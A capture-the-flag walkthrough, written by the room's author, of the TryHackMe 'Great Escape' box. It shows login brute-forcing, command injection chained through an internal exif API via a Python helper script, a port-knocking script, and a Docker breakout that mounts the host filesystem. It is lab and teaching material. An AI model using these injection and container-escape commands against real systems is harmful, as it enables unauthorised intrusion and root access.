The Great Escape - TryHackMe

Featured image

Docker, Networks, and Container Escapes; Oh My!

In my second room, I wanted to explore the concept of a Docker Escape. Docker is an extremely useful tool which allows us to isolate applications from each other and the host OS without having to resort to virtual machines. Properly configured it can be very secure, though misconfigurations can introduce massive security holes, which we shall soon see.

First Steps: Enumeration

Naturally the first order of business is to see what’s on our machine. For this we’ll use nmap of course.


nmap -vv -A $TARGET_IP -p-
Starting Nmap 7.91 ( https://nmap.org ) at 2021-01-07 13:58 CET
NSE: Loaded 153 scripts for scanning.
NSE: Script Pre-scanning.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 13:58
Completed NSE at 13:58, 0.00s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 13:58
Completed NSE at 13:58, 0.00s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 13:58
Completed NSE at 13:58, 0.00s elapsed
Initiating Ping Scan at 13:58
Scanning $TARGET_IP [2 ports]
Completed Ping Scan at 13:58, 0.00s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 13:58
Completed Parallel DNS resolution of 1 host. at 13:58, 0.00s elapsed
Initiating Connect Scan at 13:58
Scanning $TARGET_IP [65535 ports]
Discovered open port 22/tcp on $TARGET_IP
Discovered open port 80/tcp on $TARGET_IP
Completed Connect Scan at 13:58, 3.51s elapsed (65535 total ports)
Initiating Service scan at 13:58
Scanning 2 services on $TARGET_IP
Stats: 0:02:06 elapsed; 0 hosts completed (1 up), 1 undergoing Service Scan
Service scan Timing: About 50.00% done; ETC: 14:02 (0:02:01 remaining)
Completed Service scan at 14:00, 156.12s elapsed (2 services on 1 host)
NSE: Script scanning $TARGET_IP.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 14:00
Completed NSE at 14:01, 25.62s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 14:01
Completed NSE at 14:01, 3.00s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 14:01
Completed NSE at 14:01, 0.00s elapsed
Nmap scan report for $TARGET_IP
Host is up, received syn-ack (0.00036s latency).
Scanned at 2021-01-07 13:58:04 CET for 188s
Not shown: 65533 closed ports
Reason: 65533 conn-refused
PORT   STATE SERVICE REASON  VERSION
22/tcp open  ssh?    syn-ack
|_ssh-hostkey: ERROR: Script execution failed (use -d to debug)
80/tcp open  http    syn-ack nginx 1.19.6
|_http-favicon: Unknown favicon MD5: 67EDB7D39E1376FDD8A24B0C640D781E
| http-methods: 
|_  Supported Methods: GET HEAD
| http-robots.txt: 3 disallowed entries 
|_/api/ /exif-util /*.bak.txt$
|_http-server-header: nginx/1.19.6
|_http-title: docker-escape-nuxt
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port22-TCP:V=7.91%I=7%D=1/7%Time=5FF7056B%P=x86_64-pc-linux-gnu%r(Gener
SF:icLines,4,"3N\r\n");

NSE: Script Post-scanning.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 14:01
Completed NSE at 14:01, 0.00s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 14:01
Completed NSE at 14:01, 0.00s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 14:01
Completed NSE at 14:01, 0.00s elapsed
Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 189.90 seconds

We can see something odd here with the ssh server and the probe took quite a while longer than expected. Could there be shenanigans afoot? (hint: yes.)

Let’s take a look at the webserver for now.

Homepage

On the homepage, we see an admin section. Clicking into it there’s a login form. Trying something like admin:password calls an api which returns a 401: Unauthorized response. Moreover, trying to register a new user throws an error saying signups are disabled.

Signup Failure

Perhaps we can bruteforce the login?

Brute Forcing the login

Using the firefox developper tools, we can see that the request sends a json structure with username and password

{
    "username":"admin",
    "password":"password"
}

Let’s try Hydra:

hydra -l admin -P /usr/share/wordlists/rockyou.txt 'http-post://$TARGET_IP/api/login/:{"username"\:"^USER^","password"\:"^PASS^"}:H=Content-Type\:application/json:F=ERROR'

Well this is awkward. Nothing seems to be working.

Trying with patator this time:

patator http_fuzz url=http://$TARGET_IP/api/login method=POST body='{"username": "admin", "password": "FILE0"}' 0=/usr/share/wordlists/rockyou.txt follow=1 accept_cookie=1 -x ignore:code=401

Oh dear we seem to be getting a lot of 503 errors. This likely indicates that there’s maybe some rate limiting going on with the login uri, especially since manually logging in returns a 401. Now we can continue trying to bruteforce the login by slowing down the bruteforcer, or we can look for another way in.

Directory Scanning

Let’s see if we can find any other routes into the system. Clicking around throws everything else to the login page, so that’s a no go.


gobuster dir -f -u http://$TARGET_IP -w /usr/share/wordlists/dirb/big.txt 
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url:            http://$TARGET_IP
[+] Threads:        10
[+] Wordlist:       /usr/share/wordlists/dirb/big.txt
[+] Status codes:   200,204,301,302,307,401,403
[+] User Agent:     gobuster/3.0.1
[+] Add Slash:      true
[+] Timeout:        10s
===============================================================
2021/01/07 17:25:05 Starting gobuster
===============================================================
Error: the server returns a status code that matches the provided options for non existing urls. http://$TARGET_IP/c81f5291-f316-4719-95f4-258fdc94513b => 200. To force processing of Wildcard responses, specify the '--wildcard' switch

So this means that everything we try returns a 200 status. Trying something in the website confirms that we redirect an error page which offers a link back to home.

So bruteforcing the primary site is out, but what about the API?


obuster dir -f -u http://$TARGET_IP/api -w /usr/share/wordlists/dirb/big.txt                                                                        1 ⨯
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url:            http://$TARGET_IP/api
[+] Threads:        10
[+] Wordlist:       /usr/share/wordlists/dirb/big.txt
[+] Status codes:   200,204,301,302,307,401,403
[+] User Agent:     gobuster/3.0.1
[+] Add Slash:      true
[+] Timeout:        10s
===============================================================
2021/01/07 17:30:51 Starting gobuster
===============================================================
===============================================================
2021/01/07 17:30:57 Finished
===============================================================

It appears that the rate limiting is applied to the api route as well. Brute-forcing is probably not the way to go here.

Using our heads

Let’s think a bit about the information we have. The first hint tells us to look for a “Well known file”. One proposed standard is the security.txt file which should be placed in the .well-known directory.


curl http://$TARGET_IP/.well-known/security.txt                                                                                 
Hey you found me!

The security.txt file is made to help security researchers and ethical hackers to contact the company about security issues.

See https://securitytxt.org/ for more information.

Ping /******* with a HEAD request for a nifty treat.

Using curl, we can get the first flag:


curl -I http://$TARGET_IP/*******
HTTP/1.1 200 OK
Server: nginx/1.19.6
Date: Thu, 07 Jan 2021 16:40:36 GMT
Connection: keep-alive
flag: THM{***************************}

Going on

Another common file on servers is the robots.txt file. Our nmap scan showed us the presence of this file with a few disallowed entries, let’s take a closer look:


curl http://$TARGET_IP/robots.txt 
User-agent: *
Allow: /
Disallow: /api/
# Disallow: /exif-util
Disallow: /*.bak.txt$

We already know about the api route, but what’s this exif-util thing? Let’s take a look:

Exif Util File Upload Exif Util URL Search

We don’t know what language the server is running in behind, so let’s try uploading a simple php reverse shell to see what happens:

Exif Reverse Shell Upload Fail

Some server-side checking seems to be enabled, as the API returns a 200 with as plain-text response. Let’s upload an image to see:

Exif Image File Upload

The API does something, but it’s unlikely that we’ll be able to get any malicious content onto the system that way. (Though send me a message if you do find a way to get something with this route ;)).

Exit-Util URL version

Let’s try out the URL:

Exif Image URL

This may be promising, we can get an image from a url. We can also see the actual API call being invoked. This will let us eschew firefox in favour of curl (As the response appears to be plain text).

Exif URL API Call Details

Confirming on the command line:


curl http://$TARGET_IP/api/exif?url=http://$TARGET_IP/_nuxt/img/logo-light.49baa3d.png
EXIF:
----------------------
[PNG-IHDR] Image Width - 600
[PNG-IHDR] Image Height - 300
[PNG-IHDR] Bits Per Sample - 8
[PNG-IHDR] Color Type - True Color with Alpha
[PNG-IHDR] Compression Type - Deflate
[PNG-IHDR] Filter Method - Adaptive
[PNG-IHDR] Interlace Method - No Interlace
[PNG-sRGB] sRGB Rendering Intent - Perceptual
[PNG-gAMA] Image Gamma - 0.455
[PNG-pHYs] Pixels Per Unit X - 3778
[PNG-pHYs] Pixels Per Unit Y - 3778
[PNG-pHYs] Unit Specifier - Metres
[File Type] Detected File Type Name - PNG
[File Type] Detected File Type Long Name - Portable Network Graphics
[File Type] Detected MIME Type - image/png
[File Type] Expected File Name Extension - png

XMP:
----------------------

There must be something behind that fetching the URL. Some lazy developers will simply use a system call to curl or similar. Perhaps we can try to hijack the command invocation:


curl 'http://$TARGET_IP/api/exif?url=http://127.0.0.1;id'                           
An error occurred: 127.0.0.1;id
                Response was:
                ---------------------------------------
                <-- -1 http://127.0.0.1;id
Response : 
Length : 0
Body : (empty)
Headers : (0)

It would appear that the command is being interpreted as part of the URL, and thus this api is immune to command injection.

Enumeration Part 2

There was another entry in the robots.txt file that was intriguing:

Disallow: /*.bak.txt$

Could this mean that some forgotten developer backup remains on the server? Let’s try!


curl http://$TARGET_IP/exif-util.bak.txt 

&lt;template&gt;
  &lt;section&gt;
    &lt;div class=&#34;container&#34;&gt;
      &lt;h1 class=&#34;title&#34;&gt;Exif Utils&lt;/h1&gt;
      &lt;section&gt;
        &lt;form @submit.prevent=&#34;submitUrl&#34; name=&#34;submitUrl&#34;&gt;
          &lt;b-field grouped label=&#34;Enter a URL to an image&#34;&gt;
            &lt;b-input
              placeholder=&#34;http://...&#34;
              expanded
              v-model=&#34;url&#34;
            &gt;&lt;/b-input&gt;
            &lt;b-button native-type=&#34;submit&#34; type=&#34;is-dark&#34;&gt;
              Submit
            &lt;/b-button&gt;
          &lt;/b-field&gt;
        &lt;/form&gt;
      &lt;/section&gt;
      &lt;section v-if=&#34;hasResponse&#34;&gt;
        &lt;pre&gt;
          {{ response }}
        &lt;/pre&gt;
      &lt;/section&gt;
    &lt;/div&gt;
  &lt;/section&gt;
&lt;/template&gt;
&lt;script&gt;
export default {
  name: &#39;Exif Util&#39;,
  auth: false,
  data() {
    return {
      hasResponse: false,
      response: &#39;&#39;,
      url: &#39;&#39;,
    }
  },
  methods: {
    async submitUrl() {
      this.hasResponse = false
      console.log(&#39;Submitted URL&#39;)
      try {
        const response = await this.$axios.$get(&#39;http://api-dev-backup:8080/exif&#39;, {
          params: {
            url: this.url,
          },
        })
        this.hasResponse = true
        this.response = response
      } catch (err) {
        console.log(err)
        this.$buefy.notification.open({
          duration: 4000,
          message: &#39;Something bad happened, please verify that the URL is valid&#39;,
          type: &#39;is-danger&#39;,
          position: &#39;is-top&#39;,
          hasIcon: true,
        })
      }
    },
  },
}
&lt;/script&gt;


Hello! We can see a URL here with a similar api to the current exif-util GET call we saw before. Maybe we can get somewhere here?


curl http://$TARGET_IP/api/exif?url=http://api-dev-backup:8080/exif?url=http://localhost
An error occurred: HTTP Exception 400 Bad Request
                Response was:
                ---------------------------------------
                <-- 400 http://api-dev-backup:8080/exif?url=http://localhost
Response : Bad Request
Length : 29
Body : Request contains banned words
Headers : (2)
Content-Type : text/plain;charset=UTF-8
Content-Length : 29

Apparently there’s something responding at the other end! Although the response is a 400, let’s try some other inputs, such as a blank url.


curl http://$TARGET_IP/api/exif?url=http://api-dev-backup:8080/exif?url=                
An error occurred: File format could not be determined
                Retrieved Content
                ----------------------------------------
                An error occurred: File format could not be determined
               Retrieved Content
               ----------------------------------------
               curl: no URL specified!
curl: try 'curl --help' or 'curl --manual' for more information

Success! we’re simply running curl on this machine! let’s try to inject some commands now:


curl "http://$TARGET_IP/api/exif?url=http://api-dev-backup:8080/exif?url=1;id"                                                                       6 ⨯
An error occurred: File format could not be determined
                Retrieved Content
                ----------------------------------------
                An error occurred: File format could not be determined
               Retrieved Content
               ----------------------------------------
               uid=0(root) gid=0(root) groups=0(root)

Oh holy joy the application is running as root!

This is a bit tedious though so let’s write a little program to help us out.

#! /usr/bin/python3

import requests
import os
import sys

ip = os.environ['TARGET_IP']
cmd = sys.argv[1]
r = requests.get(f'http://{ip}/api/exif?url=http://api-dev-backup:8080/exif?url=1;{cmd}')
result = r.text
lines = result.splitlines()
if (len(lines) > 6):
    print('\n'.join(lines[6:]))
else:
    print('\n'.join(lines))

it’s simple, but should provide us an interface, for example:


./inject.py id                                                                
               uid=0(root) gid=0(root) groups=0(root)

Let’s start rooting around the filesystem


./inject.py "cd /root;ls"
               dev-note.txt

ok let’s see what’s on that note


./inject.py "cat /root/dev-note.txt"
              Hey guys,

Apparently leaving the flag and docker access on the server is a bad idea, or so the security guys tell me. I've deleted the stuff.

Anyways, the password is fluffybunnies123

Cheers,

Hydra

Password? PASSWORD!

A password eh? seems to be a user as well, maybe it’s the admin password?


curl -v  http://$TARGET_IP/api/login -d '{"username"\:"hydra","password"\:"fluffybunnies123"}' -H "Content-Type: application/json" 
*   Trying $TARGET_IP:80...
* Connected to $TARGET_IP ($TARGET_IP) port 80 (#0)
> POST /api/login HTTP/1.1
> Host: $TARGET_IP
> User-Agent: curl/7.74.0
> Accept: */*
> Content-Type: application/json
> Content-Length: 52
> 
* upload completely sent off: 52 out of 52 bytes
* Mark bundle as not supporting multiuse
< HTTP/1.1 401 Unauthorized
< Server: nginx/1.19.6
< Date: Thu, 07 Jan 2021 21:27:43 GMT
< Content-Type: application/json
< Content-Length: 72
< Connection: keep-alive
< 
{
    "status": "ERROR",
    "message": "Invalid Username or Password"
}

Guess not. There was a wierd ssh server as well, let’s see if that works.


ssh -v hydra@$TARGET_IP                                                                                                                            255 ⨯
OpenSSH_8.4p1 Debian-3, OpenSSL 1.1.1i  8 Dec 2020
debug1: Reading configuration data /etc/ssh/ssh_config
debug1: /etc/ssh/ssh_config line 19: include /etc/ssh/ssh_config.d/*.conf matched no files
debug1: /etc/ssh/ssh_config line 21: Applying options for *
debug1: Connecting to 10.0.2.4 [10.0.2.4] port 22.
debug1: Connection established.
debug1: identity file /home/hydra/.ssh/id_rsa type -1
debug1: identity file /home/hydra/.ssh/id_rsa-cert type -1
debug1: identity file /home/hydra/.ssh/id_dsa type -1
debug1: identity file /home/hydra/.ssh/id_dsa-cert type -1
debug1: identity file /home/hydra/.ssh/id_ecdsa type -1
debug1: identity file /home/hydra/.ssh/id_ecdsa-cert type -1
debug1: identity file /home/hydra/.ssh/id_ecdsa_sk type -1
debug1: identity file /home/hydra/.ssh/id_ecdsa_sk-cert type -1
debug1: identity file /home/hydra/.ssh/id_ed25519 type -1
debug1: identity file /home/hydra/.ssh/id_ed25519-cert type -1
debug1: identity file /home/hydra/.ssh/id_ed25519_sk type -1
debug1: identity file /home/hydra/.ssh/id_ed25519_sk-cert type -1
debug1: identity file /home/hydra/.ssh/id_xmss type -1
debug1: identity file /home/hydra/.ssh/id_xmss-cert type -1
debug1: Local version string SSH-2.0-OpenSSH_8.4p1 Debian-3
debug1: kex_exchange_identification: banner line 0: (}ckCD-[Dv^29I$hR
debug1: kex_exchange_identification: banner line 1: Hz[Mo:;5Gy^l)
debug1: kex_exchange_identification: banner line 2: D$&dma\\cldhJ*]`JjchD#&=muK$$"

It’s a trap!

The ssh server was a bit odd, and it’s in fact a tarpit designed to slow down port scanners and unsuspecting script kiddies spamming an ssh port. More information here: Endlessh: An SSH Tarpit.

Back to the Drawing Board

Let’s take a closer look at our root directory, as the note did say that the files were removed. Perhaps traces still exist.


./inject.py "cd /root;ls -la"
               total 28
drwx------ 1 root root 4096 Jan  7 16:48 .
drwxr-xr-x 1 root root 4096 Jan  7 17:54 ..
lrwxrwxrwx 1 root root    9 Jan  6 20:51 .bash_history -> /dev/null
-rw-r--r-- 1 root root  570 Jan 31  2010 .bashrc
drwxr-xr-x 1 root root 4096 Jan  7 16:48 .git
-rw-r--r-- 1 root root   53 Jan  6 20:51 .gitconfig
-rw-r--r-- 1 root root  148 Aug 17  2015 .profile
-rw-rw-r-- 1 root root  201 Jan  7 16:46 dev-note.txt

There’s a git repository here… this could be interesting


./inject.py "cd /root;git log"
               commit 5242825dfd6b96819f65d17a1c31a99fea4ffb6a
Author: Hydra 
Date:   Thu Jan 7 16:48:58 2021 +0000

    fixed the dev note

commit 4530ff7f56b215fa9fe76c4d7cc1319960c4e539
Author: Hydra 
Date:   Wed Jan 6 20:51:39 2021 +0000

    Removed the flag and original dev note b/c Security

commit a3d30a7d0510dc6565ff9316e3fb84434916dee8
Author: Hydra 
Date:   Wed Jan 6 20:51:39 2021 +0000

    Added the flag and dev notes

The last one down (a3d30a7d0510dc6565ff9316e3fb84434916dee8) looks interesting. Let’s take a look


./inject.py "cd /root;git checkout a3d30a7d0510dc6565ff9316e3fb84434916dee8; ls -la"
               Note: checking out 'a3d30a7d0510dc6565ff9316e3fb84434916dee8'.

You are in 'detached HEAD' state. You can look around, make experimental
changes and commit them, and you can discard any commits you make in this
state without impacting any branches by performing another checkout.

If you want to create a new branch to retain commits you create, you may
do so (now or later) by using -b with the checkout command again. Example:

  git checkout -b 

HEAD is now at a3d30a7 Added the flag and dev notes
total 40
drwx------ 1 root root 4096 Jan  7 21:41 .
drwxr-xr-x 1 root root 4096 Jan  7 17:54 ..
lrwxrwxrwx 1 root root    9 Jan  6 20:51 .bash_history -> /dev/null
-rw-r--r-- 1 root root  570 Jan 31  2010 .bashrc
drwxr-xr-x 1 root root 4096 Jan  7 21:41 .git
-rw-r--r-- 1 root root   53 Jan  6 20:51 .gitconfig
-rw-r--r-- 1 root root  148 Aug 17  2015 .profile
-rw-r--r-- 1 root root  213 Jan  7 21:41 dev-note.txt
-rw-r--r-- 1 root root   75 Jan  7 21:41 flag.txt

Now we’re cooking with git! First we’ll grab the flag, then take a look at the dev-note as the loghs say it was also changed.


./inject.py "cd /root;cat flag.txt"                  
               You found the root flag, or did you?

THM{***************************}
                                                                                                                                                             
./inject.py "cd /root;cat dev-note.txt"
               Hey guys,

I got tired of losing the ssh key all the time so I setup a way to open up the docker for remote admin.

Just knock on ports 42, 1337, 10420, 6969, and 63000 to open the docker tcp port.

Cheers,

Hydra

Knock Knock

We got the root flag, but it’s apparently a root in a docker container! drats! But we see a major flaw here, the docker port is “wide” open. We just need to knock the right ports which should open up the docker tcp port. Let’s write a script to do this with curl.

#! /bin/bash

curl $TARGET_IP:42 -m 1
sleep 1
curl $TARGET_IP:1337 -m 1
sleep 1
curl $TARGET_IP:10420 -m 1
sleep 1
curl $TARGET_IP:6969 -m 1
sleep 1
curl $TARGET_IP:63000 -m 1

Yeah it’s dumb, but whatever works, eh?

Let’s see if it worked


nmap -A -v $TARGET_IP -p-                                                                                                                          130 ⨯
Starting Nmap 7.91 ( https://nmap.org ) at 2021-01-07 22:55 CET
NSE: Loaded 153 scripts for scanning.
NSE: Script Pre-scanning.
Initiating NSE at 22:55
Completed NSE at 22:55, 0.00s elapsed
Initiating NSE at 22:55
Completed NSE at 22:55, 0.00s elapsed
Initiating NSE at 22:55
Completed NSE at 22:55, 0.00s elapsed
Initiating Ping Scan at 22:55
Scanning 10.0.2.4 [2 ports]
Completed Ping Scan at 22:55, 0.00s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 22:55
Completed Parallel DNS resolution of 1 host. at 22:55, 0.00s elapsed
Initiating Connect Scan at 22:55
Scanning 10.0.2.4 [65535 ports]
Discovered open port 22/tcp on 10.0.2.4
Discovered open port 80/tcp on 10.0.2.4
Discovered open port 2375/tcp on 10.0.2.4
Completed Connect Scan at 22:56, 3.55s elapsed (65535 total ports)
Initiating Service scan at 22:56
Scanning 3 services on 10.0.2.4
Completed Service scan at 22:58, 156.65s elapsed (3 services on 1 host)
NSE: Script scanning 10.0.2.4.
Initiating NSE at 22:58
Completed NSE at 22:59, 28.60s elapsed
Initiating NSE at 22:59
Completed NSE at 22:59, 3.00s elapsed
Initiating NSE at 22:59
Completed NSE at 22:59, 0.00s elapsed
Nmap scan report for 10.0.2.4
Host is up (0.00048s latency).
Not shown: 65532 closed ports
PORT     STATE SERVICE VERSION
22/tcp   open  ssh?
| fingerprint-strings: 
|   GenericLines: 
|_    Vw9>1J8&
|_ssh-hostkey: ERROR: Script execution failed (use -d to debug)
80/tcp   open  http    nginx 1.19.6
|_http-favicon: Unknown favicon MD5: 67EDB7D39E1376FDD8A24B0C640D781E
| http-methods: 
|_  Supported Methods: HEAD
| http-robots.txt: 3 disallowed entries 
|_/api/ /exif-util /*.bak.txt$
|_http-server-header: nginx/1.19.6
|_http-title: docker-escape-nuxt
2375/tcp open  docker  Docker 20.10.2 (API 1.41)
| docker-version: 
|   Platform: 
|     Name: Docker Engine - Community
|   GoVersion: go1.13.15
|   Arch: amd64
|   Components: 
|     
|       Version: 20.10.2
|       Details: 
|         GoVersion: go1.13.15
|         Arch: amd64
|         Experimental: false
|         GitCommit: 8891c58
|         Os: linux
|         ApiVersion: 1.41
|         MinAPIVersion: 1.12
|         KernelVersion: 4.15.0-129-generic
|         BuildTime: 2020-12-28T16:15:09.000000000+00:00
|       Name: Engine
|     
|       Version: 1.4.3
|       Details: 
|         GitCommit: 269548fa27e0089a8b8278fc4fc781d7f65a939b
|       Name: containerd
|     
|       Version: 1.0.0-rc92
|       Details: 
|         GitCommit: ff819c7e9184c13b7c2607fe6c30ae19403a7aff
|       Name: runc
|     
|       Version: 0.19.0
|       Details: 
|         GitCommit: de40ad0
|       Name: docker-init
|   Version: 20.10.2
|   GitCommit: 8891c58
|   Os: linux
|   ApiVersion: 1.41
|   BuildTime: 2020-12-28T16:15:09.000000000+00:00
|   KernelVersion: 4.15.0-129-generic
|_  MinAPIVersion: 1.12
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port22-TCP:V=7.91%I=7%D=1/7%Time=5FF7837C%P=x86_64-pc-linux-gnu%r(Gener
SF:icLines,A,"Vw9>1J8&\r\n");
Service Info: OS: linux

NSE: Script Post-scanning.
Initiating NSE at 22:59
Completed NSE at 22:59, 0.00s elapsed
Initiating NSE at 22:59
Completed NSE at 22:59, 0.00s elapsed
Initiating NSE at 22:59
Completed NSE at 22:59, 0.00s elapsed
Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 193.31 seconds

Hey a docker port on 2375. Let’s see what’s on the machine

Docker Abuse, aka Breaking Out of Jail


DOCKER_HOST=tcp://$TARGET_IP:2375 docker image ls
REPOSITORY                                    TAG       IMAGE ID       CREATED        SIZE
exif-api-dev                                  latest    4084cb55e1c7   4 hours ago    214MB
exif-api                                      latest    923c5821b907   5 hours ago    163MB
frontend                                      latest    577f9da1362e   5 hours ago    138MB
endlessh                                      latest    7bde5182dc5e   24 hours ago   5.67MB
nginx                                         latest    ae2feff98a0c   3 weeks ago    133MB
debian                                        10-slim   4a9cd57610d6   3 weeks ago    69.2MB
registry.access.redhat.com/ubi8/ubi-minimal   8.3       7331d26c1fdf   4 weeks ago    103MB
alpine                                        3.9       78a2ce922f86   8 months ago   5.55MB

What we do here is set the Docker remote host to our victim bax, and thus we can run docker commands via the api as if it were local (ish). We could curl the API, but this is easier. We also see an alpine image which can be interesting.


DOCKER_HOST=tcp://$TARGET_IP:2375 docker run -it -v /:/mnt/host alpine:3.9 /bin/sh

So here we spin up an alpine container, while mounting the / directory on the host to the /mnt/host directory inside the container. We then enter the container using an interactive session with sh.

Inside the container, we have free reign to grab the final flag.


cd /mnt/host/root
ls -la
total 24
drwx------    3 root     root          4096 Jan  6 22:37 .
drwxr-xr-x   22 root     root          4096 Jan  6 16:44 ..
lrwxrwxrwx    1 root     root             9 Jan  6 17:22 .bash_history -> /dev/null
-rw-r-----    1 root     root          3106 Apr  9  2018 .bashrc
drwxr-xr-x    3 root     root          4096 Jan  6 22:35 .local
-rw-r-----    1 root     root           148 Aug 17  2015 .profile
-rw-------    1 root     root            74 Jan  6 22:37 flag.txt
cat flag.txt
Congrats, you found the real flag!

THM{***************************}

Huzzah! We’ve gotten all the flags.

Lessons Learned

So we can learn a few lessons here.

Firstly, Docker is amazing, but handle it with great care. Unsecured TCP access leaves the entire machine no matter how well it’s hidden.

Secondly, Git is great but it can leave traces behind.

Third, Port Knocking is not a secure way to secure anything. Once the secret is out, assume that that service is wide open. Security by obscurity never saved anyone ;)

I hope you all had as much fun cracking this box as I did building it.

Cheers,

Hydra